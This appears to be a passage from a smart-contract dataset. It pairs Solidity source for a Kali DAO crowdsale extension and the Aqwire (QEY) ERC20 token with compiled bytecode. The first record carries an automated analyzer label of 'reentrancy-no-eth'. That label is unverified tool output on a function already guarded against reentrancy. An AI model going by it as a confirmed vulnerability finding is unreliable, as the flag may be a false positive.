IERC20Permit token, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { token.permit( msg.sender, address(this), value, deadline, v, r, s ); } function callExtension(address dao, uint256 amount) public payable nonReentrant virtual returns (uint256 amountOut) { Crowdsale storage sale = crowdsales[dao]; if (block.timestamp > sale.saleEnds) revert SaleEnded(); if (sale.listId != 0) if (!accessManager.listedAccounts(sale.listId, msg.sender)) revert NotListed(); if (sale.purchaseToken == address(0)) { amountOut = msg.value * sale.purchaseMultiplier; if (sale.amountPurchased + amountOut > sale.purchaseLimit) revert PurchaseLimit(); // send ETH to DAO dao._safeTransferETH(msg.value); sale.amountPurchased += uint96(amountOut); IKaliShareManager(dao).mintShares(msg.sender, amountOut); } else if (sale.purchaseToken == address(0xDead)) { amountOut = msg.value * sale.purchaseMultiplier; if (sale.amountPurchased + amountOut > sale.purchaseLimit) revert PurchaseLimit(); // send ETH to wETH wETH._safeTransferETH(msg.value); // send wETH to DAO wETH._safeTransfer(dao, msg.value); sale.amountPurchased += uint96(amountOut); IKaliShareManager(dao).mintShares(msg.sender, amountOut); } else { // send tokens to DAO sale.purchaseToken._safeTransferFrom(msg.sender, dao, amount); amountOut = amount * sale.purchaseMultiplier; if (sale.amountPurchased + amountOut > sale.purchaseLimit) revert PurchaseLimit(); sale.amountPurchased += uint96(amountOut); IKaliShareManager(dao).mintShares(msg.sender, amountOut); } emit ExtensionCalled(dao, msg.sender, amountOut); } }
0x6080604052600436106100655760003560e01c8063d829b17d11610043578063d829b17d146100df578063dd1e2e0f146100ff578063fb0c44411461013257600080fd5b80631015f46e1461006a57806344dc7b4614610090578063ac9650d8146100b2575b600080fd5b61007d610078366004611109565b610152565b6040519081526020015b60405180910390f35b34801561009c57600080fd5b506100b06100ab366004611181565b6107f1565b005b3480156100be57600080fd5b506100d26100cd3660046111cd565b6108a0565b6040516100879190611285565b3480156100eb57600080fd5b506100b06100fa36600461131b565b610a10565b34801561010b57600080fd5b5061011f61011a366004611375565b610ac2565b6040516100879796959493929190611399565b34801561013e57600080fd5b506100b061014d36600461140e565b610bee565b600060026000541415610191576040517fab143c0600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6002600081815573ffffffffffffffffffffffffffffffffffffffff85168152600160205260409020908101547801000000000000000000000000000000000000000000000000900463ffffffff16421115610219576040517f0bd8a3eb00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8054156103105780546040517f29c93b7f00000000000000000000000000000000000000000000000000000000815260048101919091523360248201527f0000000000000000000000007799b86ada91a507b5cbda03638116a26a86358d73ffffffffffffffffffffffffffffffffffffffff16906329c93b7f906044016020604051808303816000875af11580156102b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102da9190611480565b610310576040517f665c1c5700000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600181015473ffffffffffffffffffffffffffffffffffffffff166104c45760018101546103599074010000000000000000000000000000000000000000900460ff16346114d1565b60028201549092506bffffffffffffffffffffffff8082169161038e9185916c0100000000000000000000000090041661150e565b11156103c6576040517f64aa3de500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6103e673ffffffffffffffffffffffffffffffffffffffff851634610e63565b8181600201600c8282829054906101000a90046bffffffffffffffffffffffff166104119190611526565b82546bffffffffffffffffffffffff9182166101009390930a9283029190920219909116179055506040517f528c198a0000000000000000000000000000000000000000000000000000000081523360048201526024810183905273ffffffffffffffffffffffffffffffffffffffff85169063528c198a90604401600060405180830381600087803b1580156104a757600080fd5b505af11580156104bb573d6000803e3d6000fd5b50505050610798565b600181015473ffffffffffffffffffffffffffffffffffffffff1661dead14156106005760018101546105129074010000000000000000000000000000000000000000900460ff16346114d1565b60028201549092506bffffffffffffffffffffffff808216916105479185916c0100000000000000000000000090041661150e565b111561057f576040517f64aa3de500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6105bf73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21634610e63565b6103e673ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2168534610ead565b60018101546106279073ffffffffffffffffffffffffffffffffffffffff16338686610f4a565b60018101546106519074010000000000000000000000000000000000000000900460ff16846114d1565b60028201549092506bffffffffffffffffffffffff808216916106869185916c0100000000000000000000000090041661150e565b11156106be576040517f64aa3de500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8181600201600c8282829054906101000a90046bffffffffffffffffffffffff166106e99190611526565b82546bffffffffffffffffffffffff9182166101009390930a9283029190920219909116179055506040517f528c198a0000000000000000000000000000000000000000000000000000000081523360048201526024810183905273ffffffffffffffffffffffffffffffffffffffff85169063528c198a90604401600060405180830381600087803b15801561077f57600080fd5b505af1158015610793573d6000803e3d6000fd5b505050505b604051828152339073ffffffffffffffffffffffffffffffffffffffff8616907fe29845e5b466b9faae3f6ea1e46159fd4c7668593a558dfb5a8692e63f5197479060200160405180910390a350600160005592915050565b6040517f1ebd602f00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000007799b86ada91a507b5cbda03638116a26a86358d1690631ebd602f90610869908690339087908790600401611556565b600060405180830381600087803b15801561088357600080fd5b505af1158015610897573d6000803e3d6000fd5b50505050505050565b60608167ffffffffffffffff8111156108bb576108bb6115cf565b6040519080825280602002602001820160405280156108ee57816020015b60608152602001906001900390816108d95790505b50905060005b82811015610a095760008030868685818110610912576109126115fe565b9050602002810190610924919061162d565b604051610932929190611692565b600060405180830381855af49150503d806000811461096d576040519150601f19603f3d011682016040523d82523d6000602084013e610972565b606091505b5091509150816109e15760448151101561098b57600080fd5b600481019050808060200190518101906109a59190611737565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d891906117b3565b60405180910390fd5b808484815181106109f4576109f46115fe565b602090810291909101015250506001016108f4565b5092915050565b6040517fd505accf000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018690526064810185905260ff8416608482015260a4810183905260c4810182905273ffffffffffffffffffffffffffffffffffffffff87169063d505accf9060e401600060405180830381600087803b158015610aa257600080fd5b505af1158015610ab6573d6000803e3d6000fd5b50505050505050505050565b6001602081905260009182526040909120805491810154600282015460038301805473ffffffffffffffffffffffffffffffffffffffff8416947401000000000000000000000000000000000000000090940460ff16936bffffffffffffffffffffffff808516946c01000000000000000000000000810490911693780100000000000000000000000000000000000000000000000090910463ffffffff1692610b6b906117c6565b80601f0160208091040260200160405190810160405280929190818152602001828054610b97906117c6565b8015610be45780601f10610bb957610100808354040283529160200191610be4565b820191906000526020600020905b815481529060010190602001808311610bc757829003601f168201915b5050505050905087565b60026000541415610c2b576040517fab143c0600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600260009081558080808080610c438789018961181a565b9550955095509550955095508360ff1660001415610c8d576040517f4b5746c000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6040805160e08101825287815273ffffffffffffffffffffffffffffffffffffffff808816602080840191825260ff808a168587019081526bffffffffffffffffffffffff808b166060880190815260006080890181815263ffffffff808e1660a08c0190815260c08c018e81523385526001808b529d9094208c51815599519c8a018054975190981674010000000000000000000000000000000000000000027fffffffffffffffffffffff0000000000000000000000000000000000000000009097169c909a169b909b179490941790945551600286018054935197519099167801000000000000000000000000000000000000000000000000027fffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffffff9783166c01000000000000000000000000027fffffffffffffffff00000000000000000000000000000000000000000000000090941691909216179190911794909416939093179094559051805192939192610e0d926003850192019061104b565b50506040513391507f3f2cc5a7a893f6f829545cabc460229e17e4328d2044ee1f66cfe7a45dce97ad90610e4c90899089908990899089908990611900565b60405180910390a250506001600055505050505050565b600080600080600085875af1905080610ea8576040517f23c133f200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505050565b60006040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff841660048201528260248201526000806044836000895af1915050610f0e81611004565b610f44576040517f90b8ec1800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b60006040517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516600482015273ffffffffffffffffffffffffffffffffffffffff8416602482015282604482015260008060648360008a5af1915050610fc781611004565b610ffd576040517f7939f42400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5050505050565b60003d8261101657806000803e806000fd5b806020811461102e57801561103f5760009250611044565b816000803e60005115159250611044565b600192505b5050919050565b828054611057906117c6565b90600052602060002090601f01602090048101928261107957600085556110bf565b82601f1061109257805160ff19168380011785556110bf565b828001600101855582156110bf579182015b828111156110bf5782518255916020019190600101906110a4565b506110cb9291506110cf565b5090565b5b808211156110cb57600081556001016110d0565b73ffffffffffffffffffffffffffffffffffffffff8116811461110657600080fd5b50565b6000806040838503121561111c57600080fd5b8235611127816110e4565b946020939093013593505050565b60008083601f84011261114757600080fd5b50813567ffffffffffffffff81111561115f57600080fd5b6020830191508360208260051b850101111561117a57600080fd5b9250929050565b60008060006040848603121561119657600080fd5b83359250602084013567ffffffffffffffff8111156111b457600080fd5b6111c086828701611135565b9497909650939450505050565b600080602083850312156111e057600080fd5b823567ffffffffffffffff8111156111f757600080fd5b61120385828601611135565b90969095509350505050565b60005b8381101561122a578181015183820152602001611212565b83811115610f445750506000910152565b6000815180845261125381602086016020860161120f565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b828110156112f8577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc08886030184526112e685835161123b565b945092850192908501906001016112ac565b5092979650505050505050565b803560ff8116811461131657600080fd5b919050565b60008060008060008060c0878903121561133457600080fd5b863561133f816110e4565b9550602087013594506040870135935061135b60608801611305565b92506080870135915060a087013590509295509295509295565b60006020828403121561138757600080fd5b8135611392816110e4565b9392505050565b87815273ffffffffffffffffffffffffffffffffffffffff8716602082015260ff8616604082015260006bffffffffffffffffffffffff808716606084015280861660808401525063ffffffff841660a083015260e060c083015261140160e083018461123b565b9998505050505050505050565b6000806020838503121561142157600080fd5b823567ffffffffffffffff8082111561143957600080fd5b818501915085601f83011261144d57600080fd5b81358181111561145c57600080fd5b86602082850101111561146e57600080fd5b60209290920196919550909350505050565b60006020828403121561149257600080fd5b8151801515811461139257600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611509576115096114a2565b500290565b60008219821115611521576115216114a2565b500190565b60006bffffffffffffffffffffffff80831681851680830382111561154d5761154d6114a2565b01949350505050565b84815273ffffffffffffffffffffffffffffffffffffffff841660208201526060604082015281606082015260007f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8311156115b157600080fd5b8260051b808560808501376000920160800191825250949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe184360301811261166257600080fd5b83018035915067ffffffffffffffff82111561167d57600080fd5b60200191503681900382131561117a57600080fd5b8183823760009101908152919050565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff811182821017156116e9576116e96115cf565b604052919050565b600067ffffffffffffffff82111561170b5761170b6115cf565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b60006020828403121561174957600080fd5b815167ffffffffffffffff81111561176057600080fd5b8201601f8101841361177157600080fd5b805161178461177f826116f1565b6116a2565b81815285602083850101111561179957600080fd5b6117aa82602083016020860161120f565b95945050505050565b602081526000611392602083018461123b565b600181811c908216806117da57607f821691505b60208210811415611814577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60008060008060008060c0878903121561183357600080fd5b863595506020870135611845816110e4565b945061185360408801611305565b935060608701356bffffffffffffffffffffffff8116811461187457600080fd5b9250608087013563ffffffff8116811461188d57600080fd5b915060a087013567ffffffffffffffff8111156118a957600080fd5b8701601f810189136118ba57600080fd5b80356118c861177f826116f1565b8181528a60208385010111156118dd57600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b86815273ffffffffffffffffffffffffffffffffffffffff8616602082015260ff851660408201526bffffffffffffffffffffffff8416606082015263ffffffff8316608082015260c060a0820152600061195e60c083018461123b565b9897505050505050505056fea264697066735822122060861dd4abb184554b6468d09c26d0d45003261a65d75ca179988edddf7ea90764736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,093
0x2758cf73421a81f09acdbffec2ebdc3125de0433
pragma solidity ^0.4.23; /** * Contributors * Andrey Shishkin <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="e5888a918c9380cb818aa58288848c89cb868a88">[email&#160;protected]</a> * Scott Yu <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="780b1b170c0c3819090f110a1d561117">[email&#160;protected]</a> */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * @dev This simplifies the implementation of "user permissions". */ contract Whitelist is Ownable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); /** * @dev Throws if called by any account that&#39;s not whitelisted. */ modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } /** * @dev add an address to the whitelist * @param addr address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; emit WhitelistedAddressAdded(addr); success = true; } } /** * @dev add addresses to the whitelist * @param addrs addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } /** * @dev remove an address from the whitelist * @param addr address * @return true if the address was removed from the whitelist, * false if the address wasn&#39;t in the whitelist in the first place */ function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; emit WhitelistedAddressRemoved(addr); success = true; } } /** * @dev remove addresses from the whitelist * @param addrs addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren&#39;t in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract AqwireToken is StandardBurnableToken, Whitelist { string public constant name = "Aqwire Token"; string public constant symbol = "QEY"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 250000000 * (10 ** uint256(decimals)); uint256 public unlockTime; constructor() public{ totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); // owner is automatically whitelisted addAddressToWhitelist(msg.sender); } function setUnlockTime(uint256 _unlockTime) public onlyOwner { unlockTime = _unlockTime; } function transfer(address _to, uint256 _value) public returns (bool) { // lock transfers until after ICO completes unless whitelisted require(block.timestamp >= unlockTime || whitelist[msg.sender], "Unable to transfer as unlock time not passed or address not whitelisted"); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { // lock transfers until after ICO completes unless whitelisted require(block.timestamp >= unlockTime || whitelist[msg.sender], "Unable to transfer as unlock time not passed or address not whitelisted"); return super.transferFrom(_from, _to, _value); } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610137578063095ea7b3146101c157806318160ddd146101f957806323b872dd1461022057806324953eaa1461024a578063251c1aa31461029f578063286dd3f5146102b45780632ff2e9dc146102d5578063313ce567146102ea57806342966c6814610315578063661884631461032f57806370a082311461035357806379cc6790146103745780637b9417c8146103985780638da5cb5b146103b957806395d89b41146103ea5780639b19251a146103ff578063a9059cbb14610420578063d73dd62314610444578063dace455714610468578063dd62ed3e14610480578063e2ec6ec3146104a7578063f2fde38b146104fc575b600080fd5b34801561014357600080fd5b5061014c61051d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018657818101518382015260200161016e565b50505050905090810190601f1680156101b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cd57600080fd5b506101e5600160a060020a0360043516602435610554565b604080519115158252519081900360200190f35b34801561020557600080fd5b5061020e6105ba565b60408051918252519081900360200190f35b34801561022c57600080fd5b506101e5600160a060020a03600435811690602435166044356105c0565b34801561025657600080fd5b50604080516020600480358082013583810280860185019096528085526101e5953695939460249493850192918291850190849080828437509497506106ae9650505050505050565b3480156102ab57600080fd5b5061020e61070f565b3480156102c057600080fd5b506101e5600160a060020a0360043516610715565b3480156102e157600080fd5b5061020e6107ae565b3480156102f657600080fd5b506102ff6107bd565b6040805160ff9092168252519081900360200190f35b34801561032157600080fd5b5061032d6004356107c2565b005b34801561033b57600080fd5b506101e5600160a060020a03600435166024356107cf565b34801561035f57600080fd5b5061020e600160a060020a03600435166108bf565b34801561038057600080fd5b5061032d600160a060020a03600435166024356108da565b3480156103a457600080fd5b506101e5600160a060020a0360043516610970565b3480156103c557600080fd5b506103ce610a0c565b60408051600160a060020a039092168252519081900360200190f35b3480156103f657600080fd5b5061014c610a1b565b34801561040b57600080fd5b506101e5600160a060020a0360043516610a52565b34801561042c57600080fd5b506101e5600160a060020a0360043516602435610a67565b34801561045057600080fd5b506101e5600160a060020a0360043516602435610b53565b34801561047457600080fd5b5061032d600435610bec565b34801561048c57600080fd5b5061020e600160a060020a0360043581169060243516610c08565b3480156104b357600080fd5b50604080516020600480358082013583810280860185019096528085526101e595369593946024949385019291829185019084908082843750949750610c339650505050505050565b34801561050857600080fd5b5061032d600160a060020a0360043516610c8e565b60408051808201909152600c81527f41717769726520546f6b656e0000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600554421015806105e257503360009081526004602052604090205460ff165b151561069b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604760248201527f556e61626c6520746f207472616e7366657220617320756e6c6f636b2074696d60448201527f65206e6f7420706173736564206f722061646472657373206e6f74207768697460648201527f656c697374656400000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b6106a6848484610d23565b949350505050565b6003546000908190600160a060020a031633146106ca57600080fd5b5060005b8251811015610709576106f783828151811015156106e857fe5b90602001906020020151610715565b1561070157600191505b6001016106ce565b50919050565b60055481565b600354600090600160a060020a0316331461072f57600080fd5b600160a060020a03821660009081526004602052604090205460ff16156107a957600160a060020a038216600081815260046020908152604091829020805460ff19169055815192835290517ff1abf01a1043b7c244d128e8595cf0c1d10743b022b03a02dffd8ca3bf729f5a9281900390910190a15060015b919050565b6acecb8f27f4200f3a00000081565b601281565b6107cc3382610e9a565b50565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561082457336000908152600260209081526040808320600160a060020a0388168452909152812055610859565b610834818463ffffffff610f9b16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600160a060020a038216600090815260026020908152604080832033845290915290205481111561090a57600080fd5b600160a060020a038216600090815260026020908152604080832033845290915290205461093e908263ffffffff610f9b16565b600160a060020a038316600090815260026020908152604080832033845290915290205561096c8282610e9a565b5050565b600354600090600160a060020a0316331461098a57600080fd5b600160a060020a03821660009081526004602052604090205460ff1615156107a957600160a060020a038216600081815260046020908152604091829020805460ff19166001179055815192835290517fd1bba68c128cc3f427e5831b3c6f99f480b6efa6b9e80c757768f6124158cc3f9281900390910190a1506001919050565b600354600160a060020a031681565b60408051808201909152600381527f5145590000000000000000000000000000000000000000000000000000000000602082015281565b60046020526000908152604090205460ff1681565b600060055442101580610a8957503360009081526004602052604090205460ff165b1515610b4257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604760248201527f556e61626c6520746f207472616e7366657220617320756e6c6f636b2074696d60448201527f65206e6f7420706173736564206f722061646472657373206e6f74207768697460648201527f656c697374656400000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b610b4c8383610fad565b9392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610b87908363ffffffff61108e16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600354600160a060020a03163314610c0357600080fd5b600555565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6003546000908190600160a060020a03163314610c4f57600080fd5b5060005b825181101561070957610c7c8382815181101515610c6d57fe5b90602001906020020151610970565b15610c8657600191505b600101610c53565b600354600160a060020a03163314610ca557600080fd5b600160a060020a0381161515610cba57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610d3a57600080fd5b600160a060020a038416600090815260208190526040902054821115610d5f57600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610d8f57600080fd5b600160a060020a038416600090815260208190526040902054610db8908363ffffffff610f9b16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610ded908363ffffffff61108e16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610e2f908363ffffffff610f9b16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600160a060020a038216600090815260208190526040902054811115610ebf57600080fd5b600160a060020a038216600090815260208190526040902054610ee8908263ffffffff610f9b16565b600160a060020a038316600090815260208190526040902055600154610f14908263ffffffff610f9b16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082821115610fa757fe5b50900390565b6000600160a060020a0383161515610fc457600080fd5b33600090815260208190526040902054821115610fe057600080fd5b33600090815260208190526040902054611000908363ffffffff610f9b16565b3360009081526020819052604080822092909255600160a060020a03851681522054611032908363ffffffff61108e16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b8181018281101561109b57fe5b929150505600a165627a7a72305820493cd498b6fe9598e42675a66348aab15b9837e1557398f48e1124f84dfdaad